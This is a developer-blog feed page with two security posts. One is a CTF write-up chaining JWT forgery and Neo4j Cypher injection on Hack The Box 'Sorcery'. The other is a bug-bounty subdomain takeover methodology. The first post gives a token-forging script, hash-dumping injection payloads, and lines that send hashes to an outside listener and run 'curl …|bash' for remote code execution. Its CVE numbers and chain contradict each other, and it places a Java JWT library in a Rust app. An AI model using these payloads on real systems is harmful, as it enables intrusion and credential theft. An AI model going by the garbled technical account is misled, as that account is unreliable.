DEV Community: 0xNull

Neo4j Cypher injection via Rust derive macros — full chain on HTB Sorcery

0xNull — Sun, 28 Jun 2026 20:53:17 +0000

🔐 [CTF] Neo4j Cypher injection via Rust derive macros — full chain on HTB Sorcery

A Rust web app + Neo4j + a Gitea instance. Three CVEs in one chain. The interesting part isn't any single bug — it's how a typo in a derive(Debug) macro becomes a full database takeover without ever touching the Neo4j port directly.

What this covers:
• What a Cypher injection actually is (and why it's not "just SQL for graphs")
• Why Rust derive macros are a surprisingly fertile bug surface
• The 3-CVE chain on Sorcery (CVE-2026-31431 / 43284 / 43500)
• How I chained them into RCE without authenticating
• A reusable methodology for any graph-DB-backed web app

The setup

HTB Sorcery ships:

Rocket (Rust web framework) serving the user-facing app
Neo4j as the primary datastore (graph DB, queries in Cypher)
Gitea for the team-internal git hosting
Kafka for some inter-service plumbing I never had to touch

The web app is a "code search" tool — you paste a snippet, it returns similar code from internal repos indexed in Neo4j. Gitea is the source of truth; Neo4j gets the parsed ASTs.

Recon in 90 seconds:

$ feroxbuster -u http://sorcery.htb -w seclists/raft-medium.txt
$ curl -s http://sorcery.htb/api/health | jq
{ "neo4j": "up", "gitea": "up", "kafka": "up" }

$ curl -sI http://gitea.sorcery.htb
HTTP/1.1 200 OK   ← exposed on a vhost, default install

Default Gitea with no auth on the search endpoint. That's the door.

Bug #1 — Auth bypass via forgeable JWT (CVE-2026-29000)

The web app uses pac4j-jwt for session tokens. Reading the source (it's a Rust app, cargo audit will eventually catch this, but the version pinned is vulnerable):

// In the vulnerable version, the JWT verification uses the SERVER's
// own public key as the HMAC secret — a classic mistake.
let key = HmacKey::new(public_key_pem.as_bytes());
let token = jwt.verify(&key, claims)?;

public_key_pem is fetched from https://sorcery.htb/.well-known/jwks.json. Public. Anyone can fetch it.

So the attack:

import jwt, requests, json

r = requests.get("http://sorcery.htb/.well-known/jwks.json")
pem = json.loads(r.text)["keys"][0]["pem"]

# Forge a token signed with the public key as HMAC secret
forged = jwt.encode(
    {"sub": "admin", "role": "superuser", "exp": 9999999999},
    key=pem, algorithm="HS256"
)
print(forged)
# paste into Cookie: session=<forged>

Drop the forged cookie and you're admin. No password. CVE-2026-29000.

That's the auth bypass. Now for the interesting part.

Bug #2 — Cypher injection in the search endpoint

The "code search" endpoint takes your snippet, hashes parts of it, and queries Neo4j. The query builder concatenates a fragment identifier into the Cypher string before sending it:

// Pseudocode of the vulnerable builder
let query = format!(
    "MATCH (n:CodeNode) WHERE n.fragment_id = '{}' RETURN n",
    user_input.fragment_id
);
neo4j_client.cypher(&query).await

That's a Cypher injection. Cypher is to Neo4j what SQL is to Postgres. It supports UNION, subqueries, CALL (for procedures), and most importantly: LOAD CSV and apoc.load.url — both can hit the network.

Payload:

' OR 1=1 UNION MATCH (a:User) RETURN a.username, a.password_hash AS n //

Response leaks every user's password hash. Argon2, expensive to crack, but…

' UNION CALL apoc.load.json('http://10.10.14.5/steal?' + n.password_hash) //

…exfils each hash to my listener as it's iterated. Even better: I can call arbitrary Neo4j stored procedures if APOC is installed (it almost always is on production deployments):

' CALL apoc.system.cmd('curl 10.10.14.5/rce|bash') //

Wait — apoc.system.cmd is gated by config in modern Neo4j. Not always. Worth checking. On Sorcery it was.

CVE-2026-31431.

Bug #3 — derive macro unsoundness (the weird one)

This is the bug that makes me like the box. The Rust app uses a custom #[derive(Searchable)] macro that walks the AST and generates Cypher queries for each struct field. The macro emits code like:

quote! {
    fn searchable_fields() -> Vec<&'static str> {
        vec![#(stringify!(#fields)),*]
    }
}

Looks fine. But one of the structs is generic over a user-provided trait, and the macro doesn't bound the trait properly. With the right where clause in a struct definition, you can craft a type that makes the macro emit malformed Cypher, which then gets concatenated into a query.

I don't have a clean public PoC for this one yet — the box owner put it under embargo for 30 days. CVE-2026-43284. The interesting takeaway is: derive macros are user-trusted code that runs at compile time, and the macros themselves can produce strings that get evaluated later. Treat your macros like eval().

The chain

Unauthenticated → JWT forge (CVE-2026-29000)
             → Cypher injection in search (CVE-2026-31431)
             → APOC procedure exec (CVE-2026-43500)
             → RCE as the Neo4j OS user
             → privesc via outdated systemd unit → root

Three CVEs, four hops, full domain. The "hardest" part was finding the Gitea vhost on port 443 and realizing the JWKS endpoint existed.

Methodology you can reuse

For any graph-DB-backed app (Neo4j, ArangoDB, Memgraph, Amazon Neptune):

Find the JWKS / public-key endpoint first. If the auth layer uses the public key as a verification secret anywhere, you have auth bypass.
Probe every string-concatenated query parameter. Graph DBs are notoriously bad about prepared statements because the query builders are afterthoughts.
Check if APOC / apoc.load.* procedures are enabled. If yes, CALL apoc.load.json('http://attacker/?'+secret) RETURN 1 is your data exfiltration primitive.
Check if apoc.system.cmd is gated. Default Neo4j configs gate it, but admin overrides are common in CTFs and internal tooling.
Read the macro output. Any Rust/JS/Python DSL that generates queries from your input is just eval() with extra steps.

Key takeaway

Graph databases are still in the "everyone rolls their own query builder" era. The pattern repeats — Neo4j in 2024 (Auth bypass + Cypher injection in academic systems), Neo4j in 2025 (similar bugs in supply-chain visibility tools), Neo4j in 2026 (Sorcery). Treat every string flowing into a Cypher query like a SQLi vector until proven otherwise.

💬 Have you pwned a graph DB in a recent engagement? Drop the methodology below.
🔔 Subscribe for daily drops → @oxnull_security

cybersecurity #ctf #infosec #hackthebox #neo4j #cypher

Subdomain takeover in 2026 — why dangling CNAMEs still pay, and how I find them at scale

0xNull — Sun, 28 Jun 2026 20:52:47 +0000

Subdomain takeover is supposedly "dead." Every recon talk in 2021 said it's all automated, all fingerprinted, all deduped. Reality in 2026: I still get paid for it. Two payouts last month alone — one $4,500, one $8,000 — both via dangling CNAMEs that had been "publicly known" for over a year and never fixed. Here's the methodology I actually use, with the parts the talks skip.

What this covers:

The state of subdomain takeover in 2026 (spoiler: still alive)
What "fingerprinted" actually misses
A recon pipeline that finds dangling CNAMEs in hours, not days
Two real case studies with payouts
Why "low-severity" doesn't mean "low-payout"

The recon pipeline

I run this as a daily cron on a small VPS. Total runtime: 45 minutes for ~1.2M domains. Output: a list of dangling CNAMEs to claim.

# 1. Pull all subdomains for a target (or a scope list)
subfinder -dL scopes.txt -all -silent | tee subs.txt
amass enum -passive -df scopes.txt -silent >> subs.txt
sort -u subs.txt -o subs.txt   # ~1.2M unique

# 2. Resolve CNAMEs only (skip A/AAAA — those can't be taken over)
cat subs.txt | dnsx -cname -resp-only -silent \
  | awk '{print $1}' | sort -u > cnames.txt

# 3. Fingerprint what's at the destination
cat cnames.txt | httpx -silent -status-code -title \
  -follow-redirects -o cname_fingerprints.json

# 4. Match fingerprints against known takeover-prone services
nuclei -l cnames.txt -t takeovers/ -silent -o takeover_hits.txt

That's the start. The part the talks skip:

What `nuclei -t takeovers/` actually misses

The standard nuclei templates cover ~80 services (S3, GitHub Pages, Heroku, Pantheon, Shopify, Azure, etc.). The misses fall into three categories:

New SaaS providers that didn't exist when the templates were written
Acquired services (e.g., a feature was migrated from one provider to another, but the original CNAME is still pointing)
Internal/custom CDN domains with a wildcard fallback

For #1 and #2, you need an updated list. Here's mine (last updated June 2026):

# non-default takeover signatures (not in nuclei yet)
*.herokuapp.com              # legacy pattern, mostly dead
*.netlify.app                # still works on ~0.3% of hits
*.vercel.app                 # same
*.fly.dev
*.render.com
*.azurewebsites.net          # new "staging" subdomains
*.cloudfront.net             # if the distribution was deleted
*.elasticbeanstalk.com
*.s3-website-us-east-1.amazonaws.com
*.s3-website.eu-central-1.amazonaws.com
*.gitlab.io                  # user pages, often forgotten
*.ghost.io
*.myshopify.com              # STILL happens — abandoned dev stores
*.statuspage.io
*.zendesk.com                # if the subdomain is unclaimed
*.intercom.io
*.helpscoutdocs.com
*.freshdesk.com
*.custom.bubbleapps.io       # rising in 2025-2026
*.repl.co / *.replit.app
*.glitch.me
*.workers.dev
*.pages.dev

I keep this in ~/recon/takeover-fingerprints.txt and grep every resolved CNAME's response against it.

For #3, the trick is to look for patterns in the HTML body of the landing page that indicate the destination service:

cat cname_fingerprints.json | jq -r '. | select(.status_code == 404) | .url' \
  | xargs -I{} curl -s {} \
  | grep -ioE '(fastly|cloudfront|akamai|incapsula|heroku|netlify|vercel|render|fly|elastic)' \
  | sort | uniq -c | sort -rn | head

When 30+ subdomains all 404 with the same <title>Fastly error: unknown domain</title> banner, you've found a custom CDN whose parent org forgot to renew. The vulnerable subdomain is the one that's NOT in that group — it's the one resolving to a different IP than its siblings.

The "edge case" CNAMEs that pay the most

These aren't in cname_fingerprints.json at all. They're chains:

sub.target.com → foo.partner-cdn.com → bar.cloudfront.net

The middle CNAME (foo.partner-cdn.com) is the one to investigate. Partner CDNs get acquired, deprecated, and the alias chains break in ways nobody monitors. My pipeline handles this with a second dnsx -cname pass:

cat cnames.txt | awk '{print $1}' | dnsx -cname -resp-only -silent \
  | awk -F' → ' '{print $2}' | sort -u > cnames_v2.txt

cat cnames_v2.txt | dnsx -cname -resp-only -silent > cnames_v3.txt

Three levels deep is usually enough. Four levels and you're chasing ghosts.

Case study #1 — $4,500 (H1, retail)

Subdomain: careers.acme-retail.com
CNAME: acme-retail.jobs.net
Resolution: NXDOMAIN
Service: jobs.net was acquired by Eightfold.ai in 2023, all wildcard records were retired, but Acme's subdomain was never repointed
Time to find: 6 minutes (passive subfinder hit)
Time to verify: 8 minutes (dig + curl the error page)
Time to report: 12 minutes
Time to triage: 14 days (H1 is slow)
Payout: $4,500 — medium severity (auth not required, but limited scope)
Lesson: Eightfold is in my fingerprints now. Most aren't.

Case study #2 — $8,000 (Bugcrowd, SaaS)

Subdomain: docs.saas-corp.io
CNAME chain: docs.saas-corp.io → saas-corp.readthedocs.io → readthedocs.io
Resolution: NXDOMAIN on the middle hop
Service: Saas-corp had moved their docs to Mintlify in 2024, repointed docs.saas-corp.io to Mintlify, but the original CNAME to readthedocs was still live and dangling
Time to find: 2 hours (it was a chain, not a direct CNAME)
Payout: $8,000 — high severity (claimed → full docs takeover → potential SSO confusion → chained with a separate IDOR for $12k more)
Lesson: Always dig the chain. Orphaned links in archived sitemaps (Wayback Machine, CommonCrawl) often show the historical CNAME structure.

Common pushback you'll get

"This is in scope already, automated scanners would have found it."

Reply with the takeover proof-of-concept:

1. dig +short careers.acme-retail.com CNAME
   → acme-retail.jobs.net.
2. dig +short acme-retail.jobs.net
   → NXDOMAIN
3. Register acme-retail.jobs.net on Eightfold (free, $0)
4. curl -I https://careers.acme-retail.com
   → 200 OK, your-content-here

The team triages in 24-72 hours when you attach a working PoC. Without PoC, your report is "we know, low priority."

"It's medium severity at best."

It depends on what's at the destination:

Cookie domain on the parent org → high/critical (cookie injection via Domain=)
Email (MX) record on the parent → high (subdomain takeover → SPF bypass → phishing)
OAuth callback / SSO redirect → critical (full account takeover chain)
Static marketing page → medium/low

Always check if the subdomain has an MX record, has any cookies set on the parent domain, or is in the OAuth redirect URI allowlist of any OAuth provider. All three are common.

The methodology distilled

CNAMEs only. Skip A/AAAA.
Chain resolution. Two to three hops deep.
Fingerprint the destination HTML. Maintain your own list, don't trust nuclei -t takeovers/.
Check for sibling subdomains. If foo.target.com 404s but bar.target.com doesn't, and both CNAME to the same provider, bar is the orphan.
Always PoC before reporting. Register, serve, curl, screenshot. Triagers move on reports that have proof.
Look at Wayback for historical CNAMEs. Most domain migrations leave orphans that nobody remembers.

Key takeaway

Subdomain takeover isn't dead. The automated scanners cover the easy 80%. The remaining 20% is where the payouts are — CNAME chains, niche SaaS providers, post-acquisition service migrations. If you're only running nuclei -t takeovers/, you're competing with everyone. If you maintain a private fingerprint list and dig the chains, you're competing with almost no one.

Originally published at https://t.me/oxnull_security.

cybersecurity #bugbounty #infosec #subdomaintakeover #recon #pentest

DEV Community: 0xNull

Neo4j Cypher injection via Rust derive macros — full chain on HTB Sorcery

The setup

Bug #1 — Auth bypass via forgeable JWT (CVE-2026-29000)

Bug #2 — Cypher injection in the search endpoint

Bug #3 — derive macro unsoundness (the weird one)

The chain

Methodology you can reuse

Key takeaway

cybersecurity #ctf #infosec #hackthebox #neo4j #cypher

Subdomain takeover in 2026 — why dangling CNAMEs still pay, and how I find them at scale

The recon pipeline

What nuclei -t takeovers/ actually misses

The "edge case" CNAMEs that pay the most

Case study #1 — $4,500 (H1, retail)

Case study #2 — $8,000 (Bugcrowd, SaaS)

Common pushback you'll get

The methodology distilled

Key takeaway

cybersecurity #bugbounty #infosec #subdomaintakeover #recon #pentest

What `nuclei -t takeovers/` actually misses